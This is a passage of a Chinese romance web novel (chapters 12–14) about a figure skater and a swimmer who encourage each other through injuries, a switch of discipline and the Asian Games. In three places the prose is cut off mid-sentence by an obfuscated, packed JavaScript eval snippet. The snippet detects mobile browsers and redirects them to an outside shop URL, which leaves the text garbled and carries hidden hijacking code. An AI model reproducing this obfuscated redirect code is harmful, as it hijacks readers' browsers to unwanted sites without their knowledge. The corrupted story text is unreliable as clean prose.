在距离开始还有两分钟时,她点进了购票软件,期间还不忘执行在网上看到的抢票前要清理后台的建议。当然还是她高估了游泳的热度,一路非常顺畅地点进去选好座进行付款,退出付款成功的页面后居然还有大量充足的余票。 不过还好是有票了,位置也相当不错。 那天要像上次全运会时那些泳迷一样给他准备什么应援物吗? 因为带着约定而来,这次的心情和上次截然不同。 在准备从香港出发深圳的那个晚上,因为收拾行李衣柜里的应季衣服被她尽数抽出没有条理地堆叠成山在床上,钟梧攸从某一座小丘底下摸出了自己的手机。 【及时雨:那天决赛之后你有空的话可以来一下后台】 【及时雨:你来看我比赛,我应该请你吃顿饭?】 想不出来拒绝的理由,其实也没有想去拒绝的心,钟梧攸应下了。在从酒店换衣服准备出门的时候和摊开在地上的行李箱面面相觑,她怎么会觉得没衣服穿呢? 最后还是选了一条浅绿色的过膝连衣裙,又在包里塞了一件防晒衣。 男子100米蝶泳运动员入场的播报音响起,钟梧攸不自觉地用手理了理刘海,心脏现在好像泡在了碳酸饮料里,咕噜咕噜冒着气泡,她意识到心里现在的状态居然是紧张的。霎时联想到自己从未花过太多时间在出门打扮上,这次却在镜子前踌躇不定。 思来想去都无果,直到最后一个缘由在心里冒了出来。 也是最为妥当的一个缘由,一定是这样的,钟梧攸暗想。 她把一切都归结于礼貌。 何知澍是以预赛第一名的成绩进的决赛。 钟梧攸原本不熟悉游泳馆的那股子消毒水味,但在场馆里待了一上午过后她的鼻腔早已经习惯,以至于晚上看决赛来到场馆时都不觉得刺鼻了。 她带了一束仿真的手作捧花来。自然不是她亲手做的,她所有的时间都献给了花样滑冰和课业,从小到大最擅长做的细活就是处理训练服和考斯滕。这束花是她托楼下书店的姐姐做的,淡蓝色和白色的百合花状,给人清新淡雅的感觉。 坐在前排的观众席上,场馆的灯亮得晃眼睛。时间还早,现在的上座率并不高,钟梧攸分神坐下。身边有几个看样子和她年纪相仿的女生在调试手机屏幕上的字样,钟梧攸认识那几个人,是别的项目的老将。 生出过想要像她们一样做个电子屏幕的应援屏,但又好像觉得还是算了。 那种算了的感觉来得很微妙,没有一个具体的指示性原因。就仅仅只是想到了他可能会看过来的视线。 该用什么样的名词来界定他们两个人之间的关系呢? 是在陌生城市偶遇过几次生出了惺惺相惜的“陌生人”,还是偶尔能在微信里聊上两句的网友,亦或是刚认识没多久的朋友。不过从“朋友”这层关系出发,这样的应援方式,好像也挺正常。 但想到他视线会投过来的可能性,她就浑身不自在。 让人心慌的不自在。 何知澍在第五道。 他穿着白色的羽绒服,泳镜圈在手上,整个人的状态看起来比较松弛,就像接下来要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531660|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对的不过只是日常的一场普通训练。 走到跳台边,脱下羽绒服的动作间隙里他抬头,往这边看台扫了一眼。 钟梧攸并不确定,他在看到这边时停住的那几秒里面,有没有是因为看到了自己的成分。 钟梧攸第一次对粉丝的心情感同身受,原来坐在看台上为喜欢的选手应援是这样的心情。 她只能看得懂速度和节奏。 眼睛紧紧盯着第五道的身影,水花随着他身体的起伏炸开落下,翻涌起一卷卷浪花。何知澍的节奏把控得很好,前五十米遥遥领先,后五十米还能加速。 何知澍将这个项目的金牌收入囊中。 见他已经扶上了泳道线,另一只手高举起手臂,钟梧攸才有了这场比赛终于结束的实感。一场游泳的时间甚至比不上她一个节目的时间,她却觉得自己像经历了一场千米长跑,不仅体能被消耗殆尽,心跳也不在正常频率。 身体已经屈在一起,双手攥着抵在唇间,指尖太过于用力,现在松开后掌心还有点小疼。 上方的电子屏也就此定格,何知澍三个字到了最上方的位置。 他又往看台这边看了一眼。 这次应该不是错觉,钟梧攸这样想。 因为他俩好像对视上了。 男子100米蝶泳是今晚的最后一个项目,颁奖仪式紧随其后。 钟梧攸在运动员进场前收到了来自新晋冠军的微信。 【及时雨:发个定位给你,一会我们那里见?】 地方距离这里没多远,从定位上看是一家私密性很好的餐吧。 钟梧攸回复完他后又回复了一些其余的信息,过来十来二十来分钟颁奖仪式才正式开始。 何知澍是最后一个入场的。刚比完赛没多久,他的头发还是半湿半干的状态,款式简单的队服穿在他身上却显出了和旁的人不一样的气质,十足清爽的少年气。 颁奖典礼结束之后,运动员经过她们这一边退场。 三位运动员和各自的教练都在跟应援的泳迷招手,何知澍也不例外。 他看到了在前排的钟梧攸。 他对着她点头示意笑了笑,又用手指无意识地点了点胸前的金牌。 原本按照谱子进行弹奏,突然被人用手在琴键按了一下,彻底打乱了后续的所有节奏。 钟梧攸因为身后人的大幅度动作惊了一下,原本抓在手心的手捧花就这样失手滑落。 她惊慌失措地想要伸手去捞,但已为时已晚,而那束手捧花正被何知澍牢牢地接在手掌心。 何知澍赶来的时候钟梧攸已经坐在了靠窗的位置有十五分钟左右了,店里只剩下了她一个人,她点了杯热饮小口喝着。 “大晚上喝这么浓的红茶,你不会睡不着?” 她循声抬头,来的人正是何知澍。 何知澍拉开她身旁的椅子坐下。 他一靠近,钟梧攸就又闻到了属于泳池里的那股消毒水味。不过混合在他用的洗衣液里,闻着并不难受,反而还挺舒心的。 “不会啊,我从小喝茶喝习惯了,对我的睡眠没什么影响啦。”她才顾上回答这个问题。 何知澍从外套的口袋里摸出那块金牌,似乎是在斟酌用词,顿了顿才抬头对她说,“金牌,给你戴。” 12. Ch.12 “金牌,给你戴。” 见钟梧攸手上迟迟没有动作,何知澍顺势弯下了一点身子,低头和她的视线平齐。 她的眼神中透露着错愕两个字,还夹杂了一句疑问。 是在问他为什么。 何知澍没答,他抬起手很自然地将奖牌戴在她的颈脖间,还顺带帮她抽出了被压下的发丝。 意识到这样的动作有点过界,指尖像触及了什么燎原的火种一般,迅速抽回放在膝盖上,颇为不安地在运动裤上摩挲了几下。 何知澍低头,没说话。 这次轮到钟梧攸抬起头,她的眼神已经从疑问转变到了错愕,“为什么?” 金牌贴着她锁骨下的皮肤,她能感受到沉甸甸的份量。 奖牌的份量是这样的,她已经很久没有体会过了,居然会觉得有些陌生。 在何知澍有侧身的动作时她就迅速反应到了他接下来可能要做的事情。 所以并不能算上是始料未及,但她的心神还是被强制性按下了暂停键。 何知澍的眼睛像一汪清澈潭水,视线平齐的瞬间她看见他眼里那个自己的倒影,错愕,呆愣。 他抬起手,奖牌的带子从她的后颈绕过最后落在肩头。他的动作太轻了,让她几乎察觉不到他的指腹不经意间擦过了她颈侧,直到自己压着的头发被抽出。 她看着何知澍已经垂下去的眼睫,又看到他膝盖上运动裤的那一小块褶皱,意识到他在紧张。 于是,她低头去看胸前的金牌,用眼神描摹过上方的字样,最终抬起头,缓缓地问他,“你的腰伤怎么样了?” “没好全,但是可以比赛了。” 好不全的,这是他们言不由衷的答案。 钟梧攸点了点头,将目光投向了窗外的车水马龙。 何知澍侧目,将目光落在了她的侧脸上,喉结动了动,“其实想让你来这一次深圳的公开赛,是想和你说,虽然你知道我是带伤接受理疗的状态,但是我还是尽全力,站上了领奖台。” “钟梧攸选手,你也可以的。” 他话音刚落,钟梧攸听见自己的心跳一下一下砰砰地敲击在胸口那块金牌的背面。 这个人,好像在通过这种方式拐弯抹角地鼓励她。 好听的,文采斐然的鼓励或许一时之间无法真正开解匪石般的一块心病。 但是身体力行的实践是最能打动一个人的。 立春过了,华南地区不存在冰天冻地的寒冬,也不会下雪。 但钟梧攸却恍惚听到了北方那种,春雪消融时,冰面变薄裂开一道缝隙的声音。 不是轰然崩塌,是悄无声息地,一点点消融。 “一直在坚持努力练习的你,一定可以的。” 发育关成绩下降以来,她听到了各种各样的声音。期待她东山再起的,说她就此陨落的… 句子不重样,但大致就那么几个意思。 也见过了太多人对着自己的叹气和惋惜,和不想明说但一眼就知道对方想表露什么的眼神。 有冰迷由衷地送上鼓励和祝福,但更多的是来自外界,比如某些记者那种意思一下只是客套的话术。 却没有这样笨拙,卖力,又真诚的方式。 何知澍并没有多说别的。 她别开脸,错开和自己对视的那双眼睛。 她有一个小癖好,每次训练结束的时候已经到了晚上,她喜欢看夜晚城市的车水马龙,星灯闪烁。 深夜来临,时间依旧运行,不会为任何人停留。 但此时此刻,她所处的空间是狭小安静的,时间好像久违地被按下了放慢键。 钟梧攸将指尖搭上了颈窝处的丝带,停留了几秒,想要把奖牌从颈脖上摘下。 “欸。” 何知澍伸手喊停了她,“别,你戴着。” 他忽然笑了一下,是一抹很淡的笑,“如果你执意要还我的话,用你的下一块奖牌换怎么样?” 钟梧攸一愣。 眼见她没有说话,何知澍开口补充,“今年新赛季不行,就明年。” “反正,会有那么一天的。” “我等你。” 钟梧攸的指尖还搭在丝带上,她已经忘了自己本来要摘下的动作。 开口时嗓子有点紧,但是语调很肯定,“好啊。” 何知澍看到她笑了,嘴角也跟着上扬了一点。 这家餐吧的后厨是半开放式的,他回头看了一眼,“你要吃点什么吗?” “我来看比赛前吃过了,不太饿。” 何知澍点点头,但是又接着问,“这家店饺子做的很好,不尝尝?” “不了,我得控制体重,现在太晚了。” 随即想到了什么,钟梧攸问,“你能吃外面的猪肉吗?” 瘦肉精是狡猾的间谍,运动会会避讳这个食材。国内游泳运动员的尿检的频率相当频繁,去哪里都要报备,以便于随时抽检,稍有不慎就可能会被报废赛季。 “哦,这是从深圳省队食堂里打来的肉。这家店是我原先启蒙教练的太太在经营,教练现在在深圳省队,他从队里打了肉给我开小灶。” “这样啊。” 钟梧攸若有所思了一会,直到一盘热气腾腾的饺子被端到两个人面前,何知澍从一边抽出双筷子,问她,“你什么时候回香港?” “后天中午的票。” 她并不想当天晚上看完比赛第二天就早起坐车回去,她定的酒店附近有个冰场,她睡醒还能悠哉悠哉收拾一会再去练练。 “想在深圳这边逛逛?”何知澍一口下去,咬开了半只饺子。 “好像这块没有什么好逛的,不过酒店附近有个商场,明天打算去打发一下时间。” 他低头把剩下半只饺子吃完,嚼完咽下才说,“我后天早上回北京的飞机。” “你介意我明天去找你玩吗?” 这句话说完后他的眼睛都亮了一下,满眼期待地等她开口。 “可以啊。” “你几点训练完?” “嗯?”钟梧攸不解他为什么这样问,歪头看着她。 “我一个不会上冰的新手,可能会在冰上摔,还是不干扰你的练习时间了,等你结束了我再去找你。” 钟梧攸的心口在今晚被戳了两次。 “那你明天下午三点左右到就好。” —— 因为知道他第二天会来,钟梧攸出门前就多了一点别样的情绪。 好在她投入进训练的时候整个人能做到心无旁骛。 时间不知不觉来到下午两点半,她还剩下今天给自己设定的最后一组步法训练内容。 捻转、乔克塔,莫霍克 蹲踞式旋转转为提刀贝尔曼。 她做的很投入,也习惯了在别人面前训练。习惯了训练场上的队友和教练的目光和比赛时成千上万的观众,她已经能屏蔽聚焦在她身上的眼神,沉浸在自己的世界里。 结束这一组转身正准备滑到挡板边,她才看到何知澍现在就站在那边。 他穿着一身黑色的运动服,戴着白色的有线耳机,双手插兜站在挡板处,静默地看着她。 看到她看到了自己,嘴角扬起了一点弧度,抽出手鼓了一个无声的掌。 他大概已经来了有一会了。 钟梧攸打量了一下他的装束,“来都来了,上冰体验一下吗?” “我可是半点都不会。” 钟梧攸摆了摆手,信誓旦旦地向他开口,“没事啊,我在呢,至少能保证你不会摔的。” 何知澍把耳机摘下塞进口袋里,往前台走,“那你等等我,我去租一双冰鞋。 钟梧攸滑到挡板边上玩手机等着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531661|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等她看完一个短文正意犹未尽时何知澍已经换上冰鞋扶着挡板朝她走过来。 与其说走,更不如说是在亦步亦趋地挪动。 就如同在雪地的企鹅。 为了表演钟梧攸算接受过系统的表情管理训练,却还是没忍住笑了。 “你笑什么?” 何知澍展露出的神情有点无辜,还带着几分不好意思。 他身形高大,现在这副动作就像一只憨态可掬的巨型企鹅。 钟梧攸视线下移,看到他黑色冰鞋上有些胡乱的绑带,忍着笑滑了过去,“坐下吧,我帮你处理一下鞋带。” 等她帮他利落地打好两个冰鞋的鞋带,钟梧攸保持着蹲下的姿势,向上翻出了自己的掌心。 “你把手给我。” 何知澍抬起手搭上去。 钟梧攸的掌心有一层薄茧,而何知澍常年泡在水里,连指尖的螺纹都是模糊的。 他的手很大,手指又修长,他搭在她的掌心,乍一看像他主动包住她的手。 “你另一只手扶着挡板,先站起来。” 何知澍听话照做。 刚站起来身体就晃了一下,钟梧攸立刻就攥紧了他的手。 “别担心。” “我在。” 在钟梧攸的牵引下上了冰,慢慢往前挪。这种脚下能感受到冰刀切过冰面的凛冽声在他听来很陌生。 “你放松一些,别那么僵硬。” “膝盖可以屈一些。” 何知澍按她的话不断调整,近一个小时后可以自己滑起来了。 当然动作是不自如的。 “为什么会觉得你四肢不协调呢?”钟梧攸指尖按在自己的腮边,百思不得其解。 “大概可能是,水上运动员在陆地上的运动都没什么天赋吧?” 钟梧攸和他滑开了一点距离忍不住笑了,“好吧,有可能。” “但是你的平衡感挺不错的。” “学得挺快。” 何知澍扬了扬手找重心,带着笑意,“那是因为钟教练带的好。” 他一步一步滑的动作很吃力,姿态也很笨拙。 但他费力保持平衡往前滑了好一大段,再慢慢地转过身望向在原地的钟梧攸。 “我相比其他初学者,学得怎么样?” 何知澍很高,这在游泳运动员里或许是标配的身形,但放在花样滑冰里却是劣势。 身高过高就会带来重心难找的问题。 于是钟梧攸做出的评价很中肯,“比大多初学者都要好。” 他眉眼弯弯,又慢慢滑过来,笨拙地在她面前站稳。“真的是很不容易的一项运动。” “可是你坚持了十多年。” “但是看我这个只上了一小时冰的菜鸟也能在冰上来去自如了,你有没有感到一点欣慰?” 言下之意是,你坚持努力了这么多年,一定可以做到你想要的结果。 “热爱谁也有,但是得经得起消耗。” “你经住了。” 钟梧攸的眼睫颤了颤,冰场开着顶光灯,何知澍整个人背着光站在她面前,自然而然地说着一些一语中的的话。 他们交情并不深,认识的时间也不长,他明明可以像那些过路记者和旁人一样,只是说几句鼓励和加油就好了,为了表达这些却绕了老大一个圈身体力行。 两次了。 尝试以身体征服命运的残酷,试图用冰面上的刀痕勘测宿命的深渊。 就为了抒发不屈的信念,和传达一句“你是可以的。” 钟梧攸说话的声音放得很轻,听着像一句呢喃,她问他,“为什么呢?” 为什么从未停止对她的关怀。 何知澍莞尔一笑,“竞技体育瞬息万变,你就当我是根据最原始的本能反应,想要去安慰一个相似的灵魂。” 13. Ch.13 钟梧攸回北京的时候已经是四月初,成功避开了复古鎏金色的沙尘暴天气,也错过了浮光跃金的春雪,她直接踏进了繁花似锦的春天。 何知澍的理疗已经停了,恢复回了正常学习训练的生活,钟梧攸约了他在周末的傍晚时段见面。她傍晚结束训练,在训练馆外站了有五六分钟,那条围巾被她细心洗过,装在一个牛皮纸袋里。 她用五指指腹的位置反复摩挲着纸袋的挂绳,心想这围巾放在她这里也有几个月了。 “梧攸。” 何知澍站在距离她仅仅只有几步的台阶下,穿着一身训练服,肩上背着一个白色的健身包。深圳那次之后两个人相熟了很多,在微信联系的频率大大提高,说的话也越来越多,他对她的称呼也逐渐熟络了许多,主要可以体现在他已经不怎么喊她的全名了。 他并没有等钟梧攸走下来,而是长腿一迈,一步两个台阶很快就走到了她身边。 毕竟何知澍的身高实在是比她要高太多,他一靠近过来,就遮挡了一部分光亮,从地上看,他的影子甚至能把她的影子完全笼罩住。钟梧攸仰起头,递出了攥在自己左手手心的牛皮纸袋。 “你给我的那条围巾,我已经洗过了。” 何知澍闻言接过来,拿在手里掂了掂,“谢谢你。” 他眉眼带笑,这不是钟梧攸第一次发现他笑起来眉眼弯弯的时候和在赛场那一番冷峻专注的样子截然不同,但还是会被他的这个模样晃一下眼。 “接下来…你有什么地方想去吗?” 问出这句话的何知澍有些踌躇,他从公开赛后回北京以来就恢复了正常的训练生活,逐步加码训练,根本抽不出一点时间,唯独这个周末是例外。从微信上和钟梧攸的聊天框有一搭没一搭的交流也不难看出她回来训练后的日子也没比自己好多少,碰巧今天是周五他放学早,但他并不确定钟梧攸今天接下来有没有别的安排。 “附近是奥林匹克森林公园,还没去过,今天想去的。” “你要和我一起走走吗?” “行啊。”何知澍马上应下,“这块我很熟,我们走吧。“ 北京四月初天黑得时间要晚一些,六点多的天还是亮的,夕阳把一花一木,街道和楼宇都染成了暖色调。 最近的天气都在10℃到20℃徘徊,钟梧攸训练早出晚归的路上里面穿着一件毛衣都还会再披上一件风衣。她偷偷侧目看了何知澍一眼,他里面穿了一件连帽卫衣,外面套的是很薄的运动外套,但他大概是不会觉得冷,还把衣袖挽到了手肘处,露出一截小臂。 作为运动员,钟梧攸见过不少就像从希腊古典时期雕塑里复刻出来的身体。 她由衷承认,何知澍是她这么多年以来见过的身材最好的一位。 一个月前亲眼在赛场前看过,他刚从泳池里上来,水珠顺着身体起伏的轮廓往下淌,留下的一道道湿亮最终沿着小腿滴落在地板上,依着他的脚步连绵成了线。 由于常年泡在水里,他的肤色很白。此时他白得发亮的小臂裸露在外,真的很难做到不侧目去看。 直观看过去不像是那种刻意练出来的肌肉,是经过长期运动而练出的匀称,青筋沿着骨骼蜿蜒,总之已经能用上“漂亮”这个词来形容。 钟梧攸停留了半分钟后就把视线转正回来了。 奥林匹克森林公园距离速滑馆只有四百米左右的距离,他们并没有花费太长的时间。 春日的晚风吹在身上很舒服,带起了春天特有的青草和泥土气息,连带着让人的目及之处都因此被蒙上了一层生嫩的绿色滤镜。 在奥森公园北园的中心区域有一片湖泊,他们走去了那里。 风从湖面上吹过,带来了几分凉意,何知澍迈了一步往她那侧靠了一些。 太阳已经彻底落下去了,天空的颜色已经变成了深紫。 “我有一个癖好,就是每次觉得心烦意乱的时候,会来有水的地方走走,尝试去辨清水里面有什么,渐渐的心就会随之静下来。”钟梧攸在看湖上距离他们越来越远的两只鸭子,和他分享道。 “那我也有这样的癖好,不过看的是泳池里的水。” “嗯?”钟梧攸看着他,在等他继续说下去。 “泳池里面什么也没有,但是我格外爱看水波纹,在想这或许能找到自己训练的痕迹。” “是欸。”钟梧攸笑了一下,他说的话和她脑海里浮现出来的画面一拍即合,“人在水里游时所带出的波纹会比别的位置要密。” “你们会有蹬壁转身的动作,那时候水会因此有一个小小的漩涡,还会被带出一条路。” 何知澍顿了顿,“其实和你们冰刀切过冰面是一样的。” 再将目光投向湖面,两只鸭子已经不知所踪。 “你接下来有什么比赛吗?”钟梧攸问他。 她并不熟悉其他项目的赛程安排,这种夏季项目的赛事有的会分布在全年,不会像他们的赛事一样集中在八月到次年三月。 “六月有一个冠军赛在杭州,十月就是亚运会了。” 比赛的时间上,他们会错开些。 “你呢?” “我啊。”钟梧攸的笑容敛起了一些,“全力以赴下个赛季俱乐部的联赛吧,八九月。” “那个时候距离你亚运会大概还有一个月左右的时间吧。” 钟梧攸转身仰头,发现他也在看她。 上次他们拥有这样的距离面对面对视,还是在深圳那个商场的冰场上。 有些话该轮到她说了。 “这次,下次,都带奖牌回来吧。” 六月的杭州冠军赛也是亚运会前的选拔赛。何知澍拿下了100米蝶和200米蝶的冠军,同时也锁定了亚运会的入场券。他是近几年国内唯一一个蝶泳达到了A标且有竞争力的男运动员。 六月的北京,钟梧攸同牵手数月的搭档赵一轩填了八月俱乐部联赛的双人滑报名表。 先前钟梧攸从未透露转组转项的事情,这件事一直到在八月的俱乐部赛程表和运动员名单出来时才向公众揭开。 北京的夏天是桑拿天,冰场和室外是两个世界。 名单公布之后,网上说什么的有。 惊讶、祝福、质疑、冷嘲热讽…铺天盖地。 “发育关过不去得多了去了” “先前队里也有转双人的,不过都是草草退役。协会真的三思吧…” “万一把人练伤了” 钟梧攸将手机倒扣放在包的一旁,仔细弄好了冰鞋的鞋带回到冰上。 直到晚上回到公寓,她才想起手机。白天的页面还没有退出,一解开锁屏就是词条广场。 又还是那些换汤不换药的话。 但这个页面很快被何知澍打开的电话取而代之。 按下了接听键,两个人谁也没有先说话。 钟梧攸只能凭借着他那边有些吵闹的声音辨析出这通电话真的打通了。 在亚运会前游泳队去云南的高原基地夏训了。 高海拔地区是天然的兴奋剂。 何知澍大概是看到了网上的那些话,钟梧攸这么想。 但是他只字未提,只是自顾自叨叨絮絮地说着一些训练的琐事和昆明的风土人情。 说了半天,他顿了几秒,试探性地问她,“今天,你有没有去有水的地方?” 钟梧攸轻笑了下,“没有,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531662|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实没有影响到。” 她感觉到了电话另一头的人松了口气。 “舆论什么的,今天这个样,明天又是另一个样,我会看,但是不会去在意。” “他们不是我,也不是在我生活里的人,也没有见到过我到底是怎么样的状态。虽然不懂怎么就能轻飘飘地描绘和做出评价,但我知道因为他们说的没有什么实质性的参考价值,所以我又何必在意。” 何知澍大概是走去了外面空旷一点的地方,话筒里传来了一点隐隐约约的风声。 “何知澍,你打电话过来就是为了问我这个?” 那边并没有立即回答。 直到钟梧攸听到了话筒里传来了一声极轻的叹息声,他缓缓说道,“是我病急乱投医了,忽略了转向之后还能安心训练,决心继续走职业的那颗心的份量。” “不过,我从头到尾从不管旁的人怎么说。 “我只会听你说。” 明明他们相隔一南一北,明明他们只是打了一通电话,明明他说话的声音放的那么轻那么缓,钟梧攸却还是觉得自己的耳朵被他的一席话烫出了酥酥麻麻的感觉。 北京太热了吗? 云南的气温现在应该很宜人吧。 俱乐部青年组双人滑比赛因为钟梧攸的转项增加了点热度。 线上直播间的人数远多于之前,最近也没有别的热门项目有比赛,就这样把讨论度顶到了居高不下的地步。 钟梧攸赛前会断网,她并不知道网络上现在是风是雨还是雪,反正应该不会晴。 她和赵一轩还有教练都没有对这次俱乐部联赛抱多大的指望。 总分排名第六。 毫无竞争力。 说没有落差感是假的,但转项的第一个赛季怎么样的结果她都能接受。 俱乐部联赛相比别的赛事关注度都要低很多,只有少数的记者在。 “第一次参加双人滑比赛的感觉怎么样?” “是什么让你就决定了转项呢?” “这次成绩在预期之内吗?” 她和赵一轩并肩在一起接受采访,但问题几乎都是冲她来的,她只能保持得体的表情一一做出回答。 坐上回俱乐部的车,她才终于从包里拿出手机开机。 刚开机的手机反应还很慢,钟梧攸由着信息栏不断更新跳动,并不着急去点开来看。 但先来迎来的是何知澍的微信电话。 花费了几秒,钟梧攸才按下接听键。 “我比完了。” “我知道。”何知澍回答。 “何知澍,谢谢你。” “训练之余还抽空来支持我比赛。” 她在他的话里听出了很明显的笑意,他回答她,“我可是说了,我也会一直来支持你的。” “我会一直看着你游。” --“那我也会一直支持你的。” 简单一句话,却迅速把倒带拉到了北京的那个初雪夜。 “有一句话,他们说挺对的。”钟梧攸开口,“我不是第一个这种情况的人,也不会是最后一个,有前例可以借鉴,我也可以成为被人借鉴的前例。” 何知澍并未深究这句话的言外之意,下意识地想让她少上点网,舆论看多了不会是好事。但她的声音再度传了过来,“我的意思是我们现在所做的事,每个成绩,一直都会有人看着。” 何知澍握着手机的手抖了一下,他等着钟梧攸继续说下去。 “没有两个月的时间了,亚运会就要开始了。” 他是近几年唯一一个拿了男蝶a标的选手,有填补空白的意义。 “何知澍,你当第一个,怎么样?” 14.Ch.14 “何知澍,你当第一个,怎么样?” 对面话音刚落,电话这头的人不由得攥紧了手机,缓缓呼出一口气,带着笑意说:“好。” 男子200米蝶泳决赛。 蝶泳是一个对核心力量要求极高的泳姿,需要双手双腿同时发力。 竞速比赛的每一秒都是拼出来的。 最后大概五米,何知澍闭上了眼睛,把所有力量都压进了最后一次划水动作里。 触碰到池壁后他出水扶上水线,扯掉泳镜,抬头看向计分板。 第二名,比第一名慢了一秒多。 蝶泳是中国男泳四个泳姿中最薄弱的一个项目,既没有像女蝶那样的梯度建设和后备储备,在顶级赛事的决赛中也没有竞争力,长期被压制。 一分五十三秒,刷新了中国男蝶200米这个项目在亚运会的最好成绩。 何知澍长呼出一口气,他隔壁泳道的日本选手正在振臂欢呼,这场比赛他没有悬念地夺得了冠军。 这枚银牌足以让伤后回归的他和教练倍感欣喜,但又或许是好胜心在此刻燃燃作祟,他离目标又近了一点,但这远远不够,何知澍明白的,他还可以更好,他还要更好。 他撑着地板把自己托上岸,旁边的选手正好出水,两个人顺势握手拥抱。那位韩国选手摘得铜牌,拍了拍何知澍的后背,脸上是真诚的笑,他由衷地祝福,“恭喜你获得亚军。” “你今天也很棒,下个赛场见。” 两个人用并不流利的英语聊了一会,直到队里的工作人员把何知澍叫走。 “知澍,去混采区吧。” 他应了一声,将泳帽泳镜搭在手上,跟着工作人员往混采区走。 通往混采区的走廊上贴着他依稀可以通过繁体字来辨别出大致意思的日文横幅和各种赞助商广告,混采区的长枪短炮已经准备就绪,印有熟悉汉字的麦克风在看到何知澍走进混采区时一拥而上。 “让我们先恭喜何知澍获得这个项目的亚军,并刷新了个人最佳和国内该项目在亚运会的最好成绩,现在心情怎么样?” 他弯腰凑进话筒,“还是比较开心的,这枚银牌也是对我自己这么多年以来刻苦训练的一个肯定。不过,我相信我还可以更好。” 另一个台的记者问道,“那么有信心再突破吗?” 何知澍笑了一下,记者的问题显然在他意料之中,“有。” 他只是简单回答了一个“有”字,没有多余说别的,也没有喊出如何动人的座右铭,简简单单不带任何修饰的一个字被他说得像是份量沉重的承诺。 “感谢父母和教练,也想在这里对支持我的人说声谢谢,我爱你们。” 他的一只脚已经往左迈了半步,先是弯了弯腰对记者朋友表示感谢,“谢谢,但我稍后两天还有接力项目的比赛,请大家继续为我们加油,我们也会尽我们最大的努力去游的。” 何知澍在更衣室换好衣服套上外套,从自己的背包夹层里拿出一个MP4。这是他从钟梧攸那里学来的,她说除了要在心理上克服,做到“不以物喜,不以己悲”,还要在物理层面上去最大限度屏蔽外界的声音。 “我通常在比赛那几天就不用手机了,只会用一个iPod听听音乐、玩玩俄罗斯方块这样的游戏。” 他在等颁奖典礼的期间玩了一盘贪吃蛇。许久没有接触过这种游戏难免有点手生,加上MP4的屏幕过小带来的操作限制,这一局没用多久他就已经玩不下去了。 从背包里抓出已经被缠得一团乱的有线耳机,点开一个单独用文件夹命名分类好的歌单。 歌单同样是钟梧攸安利给他的,他记不清她推荐的时候是否引用了什么心理学概念亦或是心理研究案例来证明这十多首曲子是否真的能缓解焦虑,但还是点开她的分享链接一首一首下载了下来又拷贝到MP4里。 现在随机点开播放的一首是门德尔松的Op.34,No. 2。 古典音乐在抚慰人心这一点确实有其惊人的魔力。 取得了这样一个还不错的成绩,在这赛后一个多小时的时间里,他的心路历程是由欣喜、不甘、劝勉各种不同的思绪交织在一起的。他整个人很混乱,还没有找到出口,但却短暂地在这里找到了一点能让他心静的慰藉。 站上领奖台时脑子里还在循环方才在耳机里播放的乐章,脑子里的乐点有节奏地清晰敲打着他的心脏,丝毫没有受场馆环绕的音响干扰。他能清晰地感受到那枚银牌在他颈脖上的分量,借助着这一点分量进而感受到他自己的分量。 取得好成绩时的惶恐之心在某个高地取代了欣喜,他害怕自己接下来没有这样好的成绩。 走下领奖台,一切又从零开始。 接下来还有两个接力项目,男子4×100的混合接力,男女4×100混合泳接力。 由于蛙泳并不占优势,他们落后太多,卡在第九名,没能挺进决赛。 最后的男女4×100混合泳他们有拼奖牌颜色的实力。 本场混合泳接力赛的四位选手,自由泳和蝶泳的分别是同为17岁的丁洵和何知澍,蛙泳和仰泳的杨雨柔和沈漪一个18岁一个19岁,这支平均年龄在十七八岁的年青队伍在亚运会的舞台上没有丝毫的畏惧,以拉开无人区的优势为中国队获得一枚宝贵的金牌。 他们初出茅庐,一块金牌就已经是对他们莫大的嘉奖。“胜利可止痛”这一席话并非空穴来风,在充满不确定性的沉浮中终于将一点确定因子攥在了手里。它太来之不易,于是真正到来那刻你是恍惚的。 只有得胜这一刻,才会抵消颠沛流离中的一部分酸楚。 这是一场热烈的,让人为之动容的青春风暴,少年心里的小小火苗在此刻已经演化成了燎原之势,勇气和坚定在此刻得以被叙写完整。 此刻人声鼎沸,庆祝他们的意气风发,共情他们的来之不易,许愿他们未来可期。 献祭青春,献祭汗水,献祭眼泪。时间是公平刺向每个人的长矛,总有人年轻,于是我只能祈求它高抬贵手,在刺向你时能与命脉的位置错开。 秋天的名古屋很美,此时是这里的红叶季。等所有游泳项目结束之后队里所有人才会一起回国,于是何知澍在自己所有项目结束的第二天下午从酒店出发,和两个队里的哥哥姐姐游走在街头。 